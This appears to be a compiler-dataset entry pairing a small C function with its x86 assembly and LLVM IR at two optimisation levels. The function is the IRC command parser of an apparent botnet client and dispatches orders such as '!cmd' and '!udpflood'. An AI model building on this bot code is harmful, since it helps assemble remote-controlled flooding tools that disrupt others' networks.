#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct irc {
  int dummy;
};
typedef int /*<<< orphan*/ cmds;

/* Variables and functions */
int /*<<< orphan*/ chomp(char *);
int /*<<< orphan*/ execOrder(struct irc *, int, char *);
char *gettoken(char **, char, char *);
scalar_t__ strcmp(char *, char *);
void parserOrder(struct irc *bot, char *rcv) {
  int i, len;
  char *cmd, *next;
  char *cmds[7] = {"!say-to", "!say",  "!cmd",     "!hours",
                   "!enter",  "!exit", "!udpflood"};
  if (*rcv == '!') {
    next = gettoken(&cmd, ' ', rcv);
    len = (int)(sizeof(cmds) / sizeof(char *));
    chomp(cmd);
    for (i = 0; i < len; i++) {
      if (strcmp(cmd, cmds[i]) == 0) {
        execOrder(bot, i, next);
      }
    }
  }
}


x86 assembly (clang, -O0):
<parserOrder>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    -0x60(%rbp),%rdi
lea    0x2c75(%rip),%rsi
mov    $0x38,%edx
call   1050 <memcpy@plt>
mov    -0x10(%rbp),%rax
movsbl (%rax),%eax
cmp    $0x21,%eax
jne    1202 <parserOrder+0xb2>
mov    -0x10(%rbp),%rdx
lea    -0x20(%rbp),%rdi
mov    $0x20,%esi
call   1030 <gettoken@plt>
mov    %rax,-0x28(%rbp)
movl   $0x7,-0x18(%rbp)
mov    -0x20(%rbp),%rdi
call   1060 <chomp@plt>
movl   $0x0,-0x14(%rbp)
mov    -0x14(%rbp),%eax
cmp    -0x18(%rbp),%eax
jge    11fd <parserOrder+0xad>
mov    -0x20(%rbp),%rdi
movslq -0x14(%rbp),%rax
mov    -0x60(%rbp,%rax,8),%rsi
call   1040 <strcmp@plt>
cmp    $0x0,%rax
jne    11ea <parserOrder+0x9a>
mov    -0x8(%rbp),%rdi
mov    -0x14(%rbp),%esi
mov    -0x28(%rbp),%rdx
call   1070 <execOrder@plt>
jmp    11ef <parserOrder+0x9f>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    11b2 <parserOrder+0x62>
jmp    1202 <parserOrder+0xb2>
add    $0x60,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<parserOrder>:
push   %r14
push   %rbx
push   %rax
cmpb   $0x21,(%rsi)
jne    126c <parserOrder+0x12c>
mov    %rsi,%rdx
mov    %rdi,%rbx
mov    %rsp,%rdi
mov    $0x20,%esi
call   1030 <gettoken@plt>
mov    %rax,%r14
mov    (%rsp),%rdi
call   1050 <chomp@plt>
mov    (%rsp),%rdi
lea    0xe89(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    118e <parserOrder+0x4e>
mov    %rbx,%rdi
xor    %esi,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
mov    (%rsp),%rdi
lea    0xe6f(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    11b3 <parserOrder+0x73>
mov    %rbx,%rdi
mov    $0x1,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
mov    (%rsp),%rdi
lea    0xe4f(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    11d8 <parserOrder+0x98>
mov    %rbx,%rdi
mov    $0x2,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
mov    (%rsp),%rdi
lea    0xe2f(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    11fd <parserOrder+0xbd>
mov    %rbx,%rdi
mov    $0x3,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
mov    (%rsp),%rdi
lea    0xe11(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    1222 <parserOrder+0xe2>
mov    %rbx,%rdi
mov    $0x4,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
mov    (%rsp),%rdi
lea    0xdf3(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    1247 <parserOrder+0x107>
mov    %rbx,%rdi
mov    $0x5,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
mov    (%rsp),%rdi
lea    0xdd4(%rip),%rsi
call   1040 <strcmp@plt>
test   %rax,%rax
jne    126c <parserOrder+0x12c>
mov    %rbx,%rdi
mov    $0x6,%esi
mov    %r14,%rdx
call   1060 <execOrder@plt>
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.irc = type { i32 }
@.str = [8 x i8] c"!say-to\00"
@.str.1 = [5 x i8] c"!say\00"
@.str.2 = [5 x i8] c"!cmd\00"
@.str.3 = [7 x i8] c"!hours\00"
@.str.4 = [7 x i8] c"!enter\00"
@.str.5 = [6 x i8] c"!exit\00"
@.str.6 = [10 x i8] c"!udpflood\00"
@__const.parserOrder.cmds = [7 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i32 0, i32 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i32 0, i32 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i32 0, i32 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i32 0, i32 0), i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.5, i32 0, i32 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.6, i32 0, i32 0)]
define void @parserOrder(%struct.irc* %0, i8* %1) {
%3 = alloca %struct.irc*
%4 = alloca i8*
%5 = alloca i32
%6 = alloca i32
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca [7 x i8*]
store %struct.irc* %0, %struct.irc** %3
store i8* %1, i8** %4
%10 = bitcast [7 x i8*]* %9 to i8*
%11 = load i8*, i8** %4
%12 = load i8, i8* %11
%13 = sext i8 %12 to i32
%14 = icmp eq i32 %13, 33
br i1 %14, label %15, label %42
15: ; preds = %2
%16 = load i8*, i8** %4
%17 = call i8* @gettoken(i8** %7, i8 signext 32, i8* %16)
store i8* %17, i8** %8
store i32 7, i32* %6
%18 = load i8*, i8** %7
%19 = call i32 @chomp(i8* %18)
store i32 0, i32* %5
br label %20
20: ; preds = %38, %15
%21 = load i32, i32* %5
%22 = load i32, i32* %6
%23 = icmp slt i32 %21, %22
br i1 %23, label %24, label %41
24: ; preds = %20
%25 = load i8*, i8** %7
%26 = load i32, i32* %5
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [7 x i8*], [7 x i8*]* %9, i64 0, i64 %27
%29 = load i8*, i8** %28
%30 = call i64 @strcmp(i8* %25, i8* %29)
%31 = icmp eq i64 %30, 0
br i1 %31, label %32, label %37
32: ; preds = %24
%33 = load %struct.irc*, %struct.irc** %3
%34 = load i32, i32* %5
%35 = load i8*, i8** %8
%36 = call i32 @execOrder(%struct.irc* %33, i32 %34, i8* %35)
br label %37
37: ; preds = %32, %24
br label %38
38: ; preds = %37
%39 = load i32, i32* %5
%40 = add nsw i32 %39, 1
store i32 %40, i32* %5
br label %20
41: ; preds = %20
br label %42
42: ; preds = %41, %2
ret void
}

LLVM IR (-O2):
%struct.irc = type { i32 }
@.str = [8 x i8] c"!say-to\00"
@.str.1 = [5 x i8] c"!say\00"
@.str.2 = [5 x i8] c"!cmd\00"
@.str.3 = [7 x i8] c"!hours\00"
@.str.4 = [7 x i8] c"!enter\00"
@.str.5 = [6 x i8] c"!exit\00"
@.str.6 = [10 x i8] c"!udpflood\00"
define void @parserOrder(%struct.irc* %0, i8* %1) {
%3 = alloca i8*
%4 = bitcast i8** %3 to i8*
%5 = load i8, i8* %1
%6 = icmp eq i8 %5, 33
br i1 %6, label %7, label %52
7: ; preds = %2
%8 = call i8* @gettoken(i8** %3, i8 signext 32, i8* %1)
%9 = load i8*, i8** %3
%10 = call i32 @chomp(i8* %9)
%11 = load i8*, i8** %3
%12 = call i64 @strcmp(i8* %11, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0))
%13 = icmp eq i64 %12, 0
br i1 %13, label %14, label %16
14: ; preds = %7
%15 = call i32 @execOrder(%struct.irc* %0, i32 0, i8* %8)
br label %16
16: ; preds = %7, %14
%17 = load i8*, i8** %3
%18 = call i64 @strcmp(i8* %17, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0))
%19 = icmp eq i64 %18, 0
br i1 %19, label %20, label %22
20: ; preds = %16
%21 = call i32 @execOrder(%struct.irc* %0, i32 1, i8* %8)
br label %22
22: ; preds = %20, %16
%23 = load i8*, i8** %3
%24 = call i64 @strcmp(i8* %23, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i64 0, i64 0))
%25 = icmp eq i64 %24, 0
br i1 %25, label %26, label %28
26: ; preds = %22
%27 = call i32 @execOrder(%struct.irc* %0, i32 2, i8* %8)
br label %28
28: ; preds = %26, %22
%29 = load i8*, i8** %3
%30 = call i64 @strcmp(i8* %29, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%31 = icmp eq i64 %30, 0
br i1 %31, label %32, label %34
32: ; preds = %28
%33 = call i32 @execOrder(%struct.irc* %0, i32 3, i8* %8)
br label %34
34: ; preds = %32, %28
%35 = load i8*, i8** %3
%36 = call i64 @strcmp(i8* %35, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
%37 = icmp eq i64 %36, 0
br i1 %37, label %38, label %40
38: ; preds = %34
%39 = call i32 @execOrder(%struct.irc* %0, i32 4, i8* %8)
br label %40
40: ; preds = %38, %34
%41 = load i8*, i8** %3
%42 = call i64 @strcmp(i8* %41, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.5, i64 0, i64 0))
%43 = icmp eq i64 %42, 0
br i1 %43, label %44, label %46
44: ; preds = %40
%45 = call i32 @execOrder(%struct.irc* %0, i32 5, i8* %8)
br label %46
46: ; preds = %44, %40
%47 = load i8*, i8** %3
%48 = call i64 @strcmp(i8* %47, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.6, i64 0, i64 0))
%49 = icmp eq i64 %48, 0
br i1 %49, label %50, label %52
50: ; preds = %46
%51 = call i32 @execOrder(%struct.irc* %0, i32 6, i8* %8)
br label %52
52: ; preds = %46, %50, %2
ret void
}